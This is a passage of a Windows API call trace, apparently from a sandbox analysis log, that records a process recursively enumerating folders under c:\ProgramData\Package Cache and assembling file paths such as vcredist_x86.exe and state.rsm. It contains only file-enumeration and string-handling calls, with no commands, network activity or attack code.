Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0123.906] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.906] lstrcmpW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0123.906] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0123.906] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 84 [0123.906] lstrcpyW (in: lpString1=0x24b9f30, lpString2="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0123.906] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.906] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.906] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.906] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1 [0123.906] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1 [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.906] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49 [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0123.907] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned 79 [0123.907] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0123.907] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.907] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.907] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.907] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.907] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.907] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.907] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.907] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.907] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned 79 [0123.907] lstrlenW (lpString="packages") returned 8 [0123.907] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0123.907] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.907] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.907] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.907] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1 [0123.907] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1 [0123.907] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.907] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0123.907] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0123.907] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0123.907] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0123.907] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0123.907] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.907] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.907] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.907] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.907] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.907] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.907] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0123.907] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0123.907] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0123.907] lstrlenW (lpString="state.rsm") returned 9 [0123.907] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0123.907] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0123.908] lstrcpyW (in: lpString1=0x24b9fe8, lpString2="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0123.908] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.908] lstrcmpW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0123.908] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0123.908] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0123.908] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0123.908] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 84 [0123.908] lstrcpyW (in: lpString1=0x24ba090, lpString2="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0123.908] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.908] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.908] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.908] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1 [0123.908] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1 [0123.908] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.908] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50 [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0123.908] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned 80 [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0123.908] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.908] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.908] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.908] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.908] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.908] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.908] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.908] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.908] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned 80 [0123.908] lstrlenW (lpString="packages") returned 8 [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0123.908] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.908] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.908] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.908] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1 [0123.908] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1 [0123.908] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.908] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50 [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0123.908] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0123.909] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned 80 [0123.909] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0123.909] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.909] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.909] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.909] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.909] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.909] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.909] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.909] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.909] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned 80 [0123.909] lstrlenW (lpString="packages") returned 8 [0123.909] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0123.909] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.909] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.909] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.909] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1 [0123.909] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1 [0123.909] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.909] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50 [0123.909] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0123.909] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0123.909] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned 80 [0123.909] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0123.909] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.909] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.909] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.909] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.909] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.909] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.909] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.909] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.909] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned 80 [0123.909] lstrlenW (lpString="packages") returned 8 [0123.909] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0123.909] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.909] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.909] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.909] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1 [0123.910] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1 [0123.910] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.910] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49 [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0123.910] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned 79 [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0123.910] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.910] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.910] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.910] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.910] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.910] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.910] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.910] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.910] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned 79 [0123.910] lstrlenW (lpString="packages") returned 8 [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0123.910] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.910] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.910] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.910] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1 [0123.910] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1 [0123.910] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.910] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49 [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0123.910] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned 79 [0123.910] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0123.910] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.910] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.910] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.910] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.910] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.910] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.910] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.910] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.910] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned 79 [0123.911] lstrlenW (lpString="packages") returned 8 [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0123.911] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.911] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.911] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.911] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1 [0123.911] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", 